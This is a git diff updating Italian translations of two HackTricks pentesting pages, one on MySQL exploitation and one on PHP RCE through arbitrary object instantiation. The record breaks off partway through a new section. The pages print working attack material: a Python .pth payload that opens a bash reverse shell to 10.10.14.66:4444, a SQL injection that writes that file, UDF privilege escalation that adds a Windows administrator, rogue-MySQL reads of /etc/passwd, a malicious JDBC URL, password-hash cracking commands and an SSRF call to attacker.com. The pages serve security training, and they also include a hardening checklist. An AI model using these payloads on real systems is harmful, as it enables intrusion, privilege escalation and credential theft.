diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index c9a8df3c3..0d3c2d14b 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -4,13 +4,13 @@ ## **Informazioni di base** -**MySQL** può essere descritto come un **Sistema di Gestione di Database Relazionali (RDBMS)** open source disponibile gratuitamente. Funziona con il **Linguaggio di Query Strutturato (SQL)**, consentendo la gestione e la manipolazione dei database. +**MySQL** può essere descritto come un sistema di gestione di database relazionali open source (**RDBMS**) disponibile gratuitamente. Funziona con il linguaggio di query strutturato (**SQL**), permettendo la gestione e la manipolazione dei database. **Porta predefinita:** 3306 ``` 3306/tcp open mysql ``` -## **Connetti** +## **Connessione** ### **Locale** ```bash @@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` ### [**Brute force**](../generic-hacking/brute-force.md#mysql) -### Scrivi qualsiasi dato binario +### Scrivere qualsiasi dato binario ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) @@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` -Puoi vedere nella documentazione il significato di ciascun privilegio: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) +Puoi consultare la documentazione per il significato di ciascun privilegio: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) ### MySQL File RCE @@ -110,59 +110,57 @@ Puoi vedere nella documentazione il significato di ciascun privilegio: [https:// ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md {{#endref}} -#### INTO OUTFILE → Esecuzione di codice remoto in Python `.pth` (hook di configurazione specifici del sito) +#### INTO OUTFILE → Python `.pth` RCE (hook di configurazione specifici per sito) -Abusando del classico `INTO OUTFILE` è possibile ottenere *l'esecuzione di codice arbitrario* su obiettivi che successivamente eseguono script **Python**. +Abusando della classica `INTO OUTFILE` primitive è possibile ottenere *arbitrary code execution* su target che successivamente eseguono script **Python**. -1. Usa `INTO OUTFILE` per creare un file **`.pth`** personalizzato all'interno di qualsiasi directory caricata automaticamente da `site.py` (ad es. `.../lib/python3.10/site-packages/`). +1. Usare `INTO OUTFILE` per depositare un file personalizzato **`.pth`** in qualsiasi directory caricata automaticamente da `site.py` (es. `.../lib/python3.10/site-packages/`). 2. Il file `.pth` può contenere una *singola riga* che inizia con `import ` seguita da codice Python arbitrario che verrà eseguito ogni volta che l'interprete si avvia. -3. Quando l'interprete viene eseguito implicitamente da uno script CGI (ad esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), il payload viene eseguito con gli stessi privilegi del processo del server web (FortiWeb lo ha eseguito come **root** → RCE completa pre-autenticazione). +3. Quando l'interprete viene eseguito implicitamente da uno script CGI (ad esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`) il payload viene eseguito con gli stessi privilegi del processo del web-server (FortiWeb lo ha eseguito come **root** → full pre-auth RCE). -Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbe essere necessario l'uso di hex/`UNHEX()` o concatenazione di stringhe): +Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbe essere necessario usare hex/`UNHEX()` o concatenazione di stringhe): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Esempio di creazione del file tramite una query **UNION** (i caratteri di spazio sono sostituiti con `/**/` per bypassare un filtro di spazio `sscanf("%128s")` e mantenere la lunghezza totale ≤128 byte): +Esempio di creazione del file tramite una query **UNION** (i caratteri di spazio sostituiti con `/**/` per bypassare un filtro di spazi `sscanf("%128s")` e mantenere la lunghezza totale ≤128 byte): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` -Limitazioni importanti e bypass: +Limitazioni importanti & bypasses: -* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome file. -* Il percorso del file è risolto **rispetto alla CWD di MySQL**, quindi anteporre `../../` aiuta ad accorciare il percorso e bypassare le restrizioni sui percorsi assoluti. -* Se l'input dell'attaccante è estratto con `%128s` (o simile) qualsiasi spazio troncerebbe il payload; utilizzare le sequenze di commento di MySQL `/**/` o `/*!*/` per sostituire gli spazi. -* L'utente MySQL che esegue la query ha bisogno del privilegio `FILE`, ma in molti dispositivi (ad es. FortiWeb) il servizio viene eseguito come **root**, dando accesso in scrittura quasi ovunque. +* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome del file. +* Il percorso del file viene risolto **relativamente alla CWD di MySQL**, quindi anteporre `../../` aiuta ad accorciare il percorso e bypassare le restrizioni sui percorsi assoluti. +* Se l'input dell'attaccante viene letto con `%128s` (o simile) qualsiasi spazio troncherà il payload; usare le sequenze di commento di MySQL `/**/` o `/*!*/` per sostituire gli spazi. +* L'utente MySQL che esegue la query necessita del privilegio `FILE`, ma in molti appliance (es. FortiWeb) il servizio gira come **root**, concedendo l'accesso in scrittura quasi ovunque. -Dopo aver eliminato il `.pth`, basta richiedere qualsiasi CGI gestito dall'interprete python per ottenere l'esecuzione del codice: +Dopo aver inserito il `.pth`, basta richiedere qualsiasi CGI gestito dal python interpreter per ottenere code execution: ``` GET /cgi-bin/ml-draw.py HTTP/1.1 Host: ``` -Il processo Python importerà automaticamente il `.pth` malevolo ed eseguirà il payload della shell. +Il processo Python importerà automaticamente il `.pth` malevolo ed eseguirà il shell payload. ``` # Attacker $ nc -lvnp 4444 id uid=0(root) gid=0(root) groups=0(root) ``` ---- - ## MySQL lettura arbitraria di file da parte del client -In realtà, quando provi a **caricare dati localmente in una tabella** il **contenuto di un file**, il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se riesci a manomettere un client mysql per connetterti al tuo server MySQL, puoi leggere file arbitrari.**\ -Si prega di notare che questo è il comportamento utilizzando: +Infatti, quando provi a **load data local into a table** il **contenuto di un file**, il server MySQL o MariaDB chiede al **client** di leggerlo e inviarne il contenuto. **Quindi, se riesci a manomettere un mysql client per connettersi al tuo server MySQL, puoi leggere file arbitrari.**\ +Nota che questo è il comportamento utilizzando: ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` -(Nota la parola "locale")\ -Perché senza "locale" puoi ottenere: +(Nota la parola "local")\ +Perché senza "local" puoi ottenere: ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **PoC iniziale:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ -**In questo documento puoi vedere una descrizione completa dell'attacco e persino come estenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ +**In questo articolo puoi vedere una descrizione completa dell'attacco e anche come estenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **Qui puoi trovare una panoramica dell'attacco:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​ @@ -178,18 +176,18 @@ Sarà molto interessante se mysql è in esecuzione come **root**: cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` -#### Impostazioni pericolose di mysqld.cnf +#### Dangerous Settings of mysqld.cnf -Nella configurazione dei servizi MySQL, vengono impiegate varie impostazioni per definire il suo funzionamento e le misure di sicurezza: +Nella configurazione dei servizi MySQL, sono usate diverse impostazioni per definire il suo funzionamento e le misure di sicurezza: -- L'impostazione **`user`** è utilizzata per designare l'utente sotto il quale il servizio MySQL verrà eseguito. -- **`password`** è applicata per stabilire la password associata all'utente MySQL. -- **`admin_address`** specifica l'indirizzo IP che ascolta le connessioni TCP/IP sull'interfaccia di rete amministrativa. -- La variabile **`debug`** è indicativa delle attuali configurazioni di debug, inclusa l'informazione sensibile all'interno dei log. -- **`sql_warnings`** gestisce se vengono generate stringhe informative per le istruzioni INSERT a riga singola quando emergono avvisi, contenendo dati sensibili all'interno dei log. -- Con **`secure_file_priv`**, l'ambito delle operazioni di importazione ed esportazione dei dati è limitato per migliorare la sicurezza. +- The **`user`** setting is utilized for designating the user under which the MySQL service will be executed. +- **`password`** is applied for establishing the password associated with the MySQL user. +- **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface. +- The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs. +- **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs. +- With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security. -### Escalation dei privilegi +### Privilege escalation ```bash # Get current user (an all users) privileges and hashes use mysql; @@ -209,16 +207,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys ``` ### Privilege Escalation via library -Se il **server mysql è in esecuzione come root** (o un altro utente con privilegi superiori) puoi farlo eseguire comandi. Per questo, devi usare **funzioni definite dall'utente**. E per creare una funzione definita dall'utente avrai bisogno di una **libreria** per il sistema operativo che esegue mysql. +Se il **mysql server is running as root** (o un altro utente con privilegi più elevati) puoi farlo eseguire comandi. Per questo, devi usare le **user defined functions**. E per crearne una avrai bisogno di una **library** per il sistema operativo che esegue mysql. -La libreria malevola da utilizzare può essere trovata all'interno di sqlmap e dentro metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli per **Windows**, scegli quello di cui hai bisogno. +La library malevola da usare può essere trovata all'interno di sqlmap e di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli **Windows**; scegli quella di cui hai bisogno. -Se **non hai** quelle librerie, puoi **cercarle**, oppure scaricare questo [**codice C per linux**](https://www.exploit-db.com/exploits/1518) e **compilarlo all'interno della macchina vulnerabile linux**: +Se **non hai** quelle library, puoi o **cercarle**, oppure scaricare questo [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilarlo nella macchina linux vulnerabile**: ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` -Ora che hai la libreria, accedi a Mysql come utente privilegiato (root?) e segui i passaggi successivi: +Ora che hai la libreria, effettua l'accesso a Mysql come utente privilegiato (root?) e segui i passaggi seguenti: #### Linux ```sql @@ -252,15 +250,24 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` -### Estrazione delle credenziali MySQL dai file +#### Suggerimento Windows: creare directory con NTFS ADS da SQL + +Su NTFS puoi forzare la creazione di directory usando un alternate data stream anche quando è disponibile solo una primitiva di scrittura su file. Se la classic UDF chain si aspetta una directory `plugin` ma questa non esiste e `@@plugin_dir` è sconosciuto o bloccato, puoi crearla prima con `::$INDEX_ALLOCATION`: +```sql +SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; +-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory +``` +Questo trasforma il limitato `SELECT ... INTO OUTFILE` in una primitiva più completa sugli stack Windows creando la struttura di cartelle necessaria per i drop di UDF. + +### Estrazione delle credenziali MySQL da file All'interno di _/etc/mysql/debian.cnf_ puoi trovare la **password in chiaro** dell'utente **debian-sys-maint** ```bash cat /etc/mysql/debian.cnf ``` -Puoi **utilizzare queste credenziali per accedere al database mysql**. +Puoi **usare queste credentials per effettuare il login nel database mysql**. -All'interno del file: _/var/lib/mysql/mysql/user.MYD_ puoi trovare **tutti gli hash degli utenti MySQL** (quelli che puoi estrarre da mysql.user all'interno del database)_._ +All'interno del file: _/var/lib/mysql/mysql/user.MYD_ puoi trovare **tutti gli hash degli utenti MySQL** (quelli che puoi estrarre da mysql.user all'interno del database). Puoi estrarli eseguendo: ```bash @@ -268,7 +275,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na ``` ### Abilitare il logging -Puoi abilitare il logging delle query mysql all'interno di `/etc/mysql/my.cnf` decommentando le seguenti righe: +È possibile abilitare il logging delle query MySQL all'interno di `/etc/mysql/my.cnf` decommentando le seguenti righe: ![](<../images/image (899).png>) @@ -289,14 +296,14 @@ File di configurazione - /var/lib/mysql/my.cnf - \~/.my.cnf - /etc/my.cnf -- Cronologia comandi +- Cronologia dei comandi - \~/.mysql.history - File di log - connections.log - update.log - common.log -## Database/Tabelle MySQL predefiniti +## Database/Tabelle predefinite di MySQL {{#tabs}} {{#tab name="information_schema"}} @@ -601,13 +608,13 @@ x$statements\_with\_errors\_or\_warnings\ x$statements_with_full_table_scans\ x$statements\_with\_runtimes\_in\_95th\_percentile\ x$statements_with_sorting\ -x$statements\_with\_temp\_tables\ +x$statements_with_temp_tables\ x$user_summary\ x$user\_summary\_by\_file\_io\ x$user_summary_by_file_io_type\ x$user\_summary\_by\_stages\ x$user_summary_by_statement_latency\ -x$user\_summary\_by\_statement\_type\ +x$user\_summary_by_statement_type\ x$wait_classes_global_by_avg_latency\ x$wait\_classes\_global\_by\_latency\ x$waits_by_host_by_latency\ @@ -616,7 +623,7 @@ x$waits_global_by_latency {{#endtab}} {{#endtabs}} -## HackTricks Comandi Automatici +## Comandi automatici HackTricks ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. @@ -647,36 +654,36 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -## 2023-2025 Highlights (new) +## 2023-2025 Punti salienti (nuovo) ### JDBC `propertiesTransform` deserialization (CVE-2023-21971) -A partire da Connector/J <= 8.0.32, un attaccante che può influenzare il **JDBC URL** (ad esempio in software di terze parti che richiede una stringa di connessione) può richiedere il caricamento di classi arbitrarie sul lato *client* tramite il parametro `propertiesTransform`. Se un gadget presente nel class-path è caricabile, questo porta a **esecuzione di codice remoto nel contesto del client JDBC** (pre-autenticazione, poiché non sono necessarie credenziali valide). Un PoC minimo appare così: +Da Connector/J <= 8.0.32 un attacker che può influenzare la **JDBC URL** (per esempio in software di terze parti che chiede una connection string) può richiedere il caricamento di classi arbitrarie sul *client* tramite il parametro `propertiesTransform`. Se un gadget presente nel class-path è caricabile, questo porta a **remote code execution nel contesto del JDBC client** (pre-auth, perché non sono richieste credenziali valide). Un PoC minimale è il seguente: ```java jdbc:mysql://:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil ``` -Eseguire `Evil.class` può essere facile come posizionarlo nel class-path dell'applicazione vulnerabile o lasciare che un server MySQL malevolo invii un oggetto serializzato dannoso. Il problema è stato risolto in Connector/J 8.0.33 – aggiorna il driver o imposta esplicitamente `propertiesTransform` su una lista di autorizzazione. -(Vedi il report di Snyk per i dettagli) +Eseguire `Evil.class` può essere semplice come metterlo nel class-path dell'applicazione vulnerabile o permettere a un rogue MySQL server di inviare un oggetto serializzato malevolo. Il problema è stato risolto in Connector/J 8.0.33 – aggiorna il driver o imposta esplicitamente `propertiesTransform` in una allow-list. +(Vedi Snyk write-up per i dettagli) -### Attacchi di server MySQL falsi / malevoli contro i client JDBC -Diversi strumenti open-source implementano un protocollo MySQL *parziale* per attaccare i client JDBC che si connettono verso l'esterno: +### Rogue / Fake MySQL server attacks contro client JDBC +Diversi strumenti open-source implementano un protocollo MySQL *parziale* per attaccare client JDBC che si connettono verso l'esterno: -* **mysql-fake-server** (Java, supporta exploit di lettura file e deserializzazione) -* **rogue_mysql_server** (Python, capacità simili) +* **mysql-fake-server** (Java, supports file read and deserialization exploits) +* **rogue_mysql_server** (Python, similar capabilities) Percorsi di attacco tipici: 1. L'applicazione vittima carica `mysql-connector-j` con `allowLoadLocalInfile=true` o `autoDeserialize=true`. -2. L'attaccante controlla DNS / voce host in modo che il nome host del DB si risolva in una macchina sotto il suo controllo. -3. Il server malevolo risponde con pacchetti creati ad hoc che attivano la lettura di file arbitrari `LOCAL INFILE` o la deserializzazione Java → RCE. +2. L'attaccante controlla DNS / host entry in modo che il nome host del DB risolva su una macchina sotto il suo controllo. +3. Il server malevolo risponde con pacchetti costruiti che innescano o la lettura arbitraria di file tramite `LOCAL INFILE` o Java deserialization → RCE. -Esempio di one-liner per avviare un server falso (Java): +Esempio di one-liner per avviare un fake server (Java): ```bash java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server ``` -Poi punta l'applicazione vittima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leggi `/etc/passwd` codificando il nome del file in base64 nel campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). +Quindi indirizza l'applicazione vittima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leggi `/etc/passwd` codificando il nome del file in base64 nel campo *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`). ### Cracking `caching_sha2_password` hashes -MySQL ≥ 8.0 memorizza gli hash delle password come **`$mysql-sha2$`** (SHA-256). Sia Hashcat (modalità **21100**) che John-the-Ripper (`--format=mysql-sha2`) supportano il cracking offline dal 2023. Dumpa la colonna `authentication_string` e alimentala direttamente: +MySQL ≥ 8.0 memorizza gli hash delle password come **`$mysql-sha2$`** (SHA-256). Sia Hashcat (mode **21100**) che John-the-Ripper (`--format=mysql-sha2`) supportano offline cracking dal 2023. Esegui il dump della colonna `authentication_string` e forniscila direttamente: ```bash # extract hashes echo "$mysql-sha2$AABBCC…" > hashes.txt @@ -685,20 +692,23 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist # John the Ripper john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist ``` -### Hardening checklist (2025) -• Imposta **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** per eliminare la maggior parte delle primitive di lettura/scrittura file. -• Rimuovi il privilegio **`FILE`** dagli account delle applicazioni. -• Su Connector/J imposta `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vuoto). -• Disabilita i plugin di autenticazione non utilizzati e **richiedi TLS** (`require_secure_transport = ON`). -• Monitora per `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e improvvisi comandi `SET GLOBAL`. +### Checklist di hardening (2025) +• Impostare **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** per eliminare la maggior parte delle primitive di lettura/scrittura dei file. +• Rimuovere il privilegio **`FILE`** dagli account delle applicazioni. +• Su Connector/J impostare `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vuoto). +• Disabilitare i plugin di autenticazione non utilizzati e richiedere **TLS** (`require_secure_transport = ON`). +• Monitorare la presenza di `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e improvvisi statement `SET GLOBAL`. --- -## References -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) -- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) -- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +## Riferimenti +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) +- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) +- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) -- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) + + +- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index d3282cf1c..469466b28 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,18 +1,18 @@ -# PHP - RCE abusando della creazione di oggetti: new $\_GET\["a"]\($\_GET\["b"]) +# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} -Questo è fondamentalmente un riassunto di [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +This is basically a summary of [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) ## Introduzione -La creazione di nuovi oggetti arbitrari, come `new $_GET["a"]($_GET["a"])`, può portare a Remote Code Execution (RCE), come dettagliato in un [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Questo documento evidenzia varie strategie per ottenere RCE. +La creazione di nuovi oggetti arbitrari, come `new $_GET["a"]($_GET["a"])`, può portare a Remote Code Execution (RCE), come dettagliato in una [**analisi**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Questo documento evidenzia varie strategie per ottenere RCE. -## RCE tramite Classi Personalizzate o Autoloading +## RCE via Custom Classes or Autoloading -La sintassi `new $a($b)` viene utilizzata per istanziare un oggetto dove **`$a`** rappresenta il nome della classe e **`$b`** è il primo argomento passato al costruttore. Queste variabili possono provenire da input dell'utente come GET/POST, dove possono essere stringhe o array, o da JSON, dove potrebbero presentarsi come altri tipi. +La sintassi `new $a($b)` è usata per istanziare un oggetto dove **`$a`** rappresenta il nome della classe e **`$b`** è il primo argomento passato al costruttore. Queste variabili possono essere ottenute da input utente come GET/POST, dove possono essere stringhe o array, o da JSON, dove possono presentarsi come altri tipi. -Considera il frammento di codice qui sotto: +Considera lo snippet di codice sotto: ```php class App { function __construct ($cmd) { @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -In questo caso, impostare `$a` su `App` o `App2` e `$b` su un comando di sistema (ad esempio, `uname -a`) porta all'esecuzione di quel comando. +In questo caso, impostare `$a` su `App` o `App2` e `$b` su un comando di sistema (ad es., `uname -a`) provoca l'esecuzione di quel comando. -**Le funzioni di autoloading** possono essere sfruttate se tali classi non sono direttamente accessibili. Queste funzioni caricano automaticamente le classi dai file quando necessario e sono definite utilizzando `spl_autoload_register` o `__autoload`: +**Funzioni di autoloading** possono essere sfruttate se tali classi non sono direttamente accessibili. Queste funzioni caricano automaticamente le classi da file quando necessario e sono definite usando `spl_autoload_register` o `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -45,25 +45,25 @@ include $class_name . '.php'; spl_autoload_register(); ``` -Il comportamento del caricamento automatico varia con le versioni di PHP, offrendo diverse possibilità di RCE. +Il comportamento dell'autoloading varia tra le versioni di PHP, offrendo diverse possibilità di RCE. -## RCE tramite Classi Incorporate +## RCE tramite classi built-in -In assenza di classi personalizzate o caricatori automatici, **le classi incorporate di PHP** possono essere sufficienti per RCE. Il numero di queste classi varia tra 100 e 200, a seconda della versione di PHP e delle estensioni. Possono essere elencate utilizzando `get_declared_classes()`. +In assenza di classi personalizzate o di autoloader, **le classi built-in di PHP** possono essere sufficienti per ottenere RCE. Il numero di queste classi varia tra 100 e 200, a seconda della versione di PHP e delle estensioni. Possono essere elencate usando `get_declared_classes()`. -I costruttori di interesse possono essere identificati tramite l'API di riflessione, come mostrato nel seguente esempio e nel link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +I costruttori di interesse possono essere identificati tramite la reflection API, come mostrato nel seguente esempio e nel link [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). -**RCE tramite metodi specifici include:** +Esempi di RCE tramite metodi specifici: -### **SSRF + Deserializzazione Phar** +### **SSRF + Phar Deserialization** -La classe `SplFileObject` consente SSRF tramite il suo costruttore, permettendo connessioni a qualsiasi URL: +La classe `SplFileObject` permette SSRF tramite il suo costruttore, consentendo connessioni a qualsiasi URL: ```php new SplFileObject('http://attacker.com/'); ``` -SSRF può portare a attacchi di deserializzazione nelle versioni di PHP precedenti alla 8.0 utilizzando il protocollo Phar. +SSRF può portare a deserialization attacks nelle versioni di PHP precedenti alla 8.0 usando il protocollo Phar. -### **Sfruttare i PDO** +### **Exploiting PDOs** Il costruttore della classe PDO consente connessioni a database tramite stringhe DSN, potenzialmente abilitando la creazione di file o altre interazioni: ```php @@ -71,26 +71,50 @@ new PDO("sqlite:/tmp/test.txt") ``` ### **SoapClient/SimpleXMLElement XXE** -Le versioni di PHP fino alla 5.3.22 e 5.4.12 erano suscettibili ad attacchi XXE attraverso i costruttori `SoapClient` e `SimpleXMLElement`, a seconda della versione di libxml2. +Le versioni di PHP fino a 5.3.22 e 5.4.12 erano suscettibili agli attacchi XXE tramite i costruttori `SoapClient` e `SimpleXMLElement`, a seconda della versione di libxml2. -## RCE tramite estensione Imagick +## RCE via Imagick Extension -Nell'analisi delle **dipendenze di un progetto**, è stato scoperto che **Imagick** poteva essere sfruttato per **l'esecuzione di comandi** creando nuovi oggetti. Questo presenta un'opportunità per sfruttare vulnerabilità. +Nell'analisi delle **dipendenze del progetto** è stato scoperto che **Imagick** poteva essere sfruttato per **command execution** istanziando nuovi oggetti. Questo rappresenta un'opportunità per sfruttare vulnerabilità. -### Parser VID +### VID parser -È stata identificata la capacità del parser VID di scrivere contenuti in qualsiasi percorso specificato nel filesystem. Questo potrebbe portare al posizionamento di una shell PHP in una directory accessibile via web, ottenendo l'Esecuzione Remota di Codice (RCE). +È stata identificata la capacità del VID parser di scrivere contenuti in qualsiasi percorso specificato del filesystem. Questo potrebbe portare al posizionamento di una shell PHP in una directory accessibile via web, ottenendo Remote Code Execution (RCE). -#### Parser VID + Caricamento File +#### VID Parser + File Upload -Si nota che PHP memorizza temporaneamente i file caricati in `/tmp/phpXXXXXX`. Il parser VID in Imagick, utilizzando il protocollo **msl**, può gestire caratteri jolly nei percorsi dei file, facilitando il trasferimento del file temporaneo in una posizione scelta. Questo metodo offre un ulteriore approccio per ottenere la scrittura arbitraria di file all'interno del filesystem. +Si osserva che PHP memorizza temporaneamente i file caricati in `/tmp/phpXXXXXX`. Il VID parser in Imagick, utilizzando il protocollo **msl**, può gestire wildcard nei percorsi dei file, facilitando il trasferimento del file temporaneo in una posizione scelta. Questo metodo offre un approccio aggiuntivo per ottenere la scrittura arbitraria di file all'interno del filesystem. -### Crash PHP + Brute Force +### PHP Crash + Brute Force -Un metodo descritto nel [**writeup originale**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) prevede il caricamento di file che provocano un crash del server prima della cancellazione. Forzando il nome del file temporaneo, diventa possibile per Imagick eseguire codice PHP arbitrario. Tuttavia, questa tecnica è stata trovata efficace solo in una versione obsoleta di ImageMagick. +Un metodo descritto nel [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) prevede il caricamento di file che causano il crash del server prima della loro cancellazione. Bruteforcando il nome del file temporaneo, diventa possibile per Imagick eseguire codice PHP arbitrario. Tuttavia, questa tecnica si è rivelata efficace solo in una versione obsoleta di ImageMagick. + +## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) + +Quando l'input utente controlla il nome della classe (es., `new $_GET['model']()`), PHP 7.0.0 ha introdotto un bug transitorio durante il refactor di `Throwable` in cui il motore interpretava per errore il nome della classe come una stringa di formato printf durante la risoluzione. Questo abilita i classici primitivi in 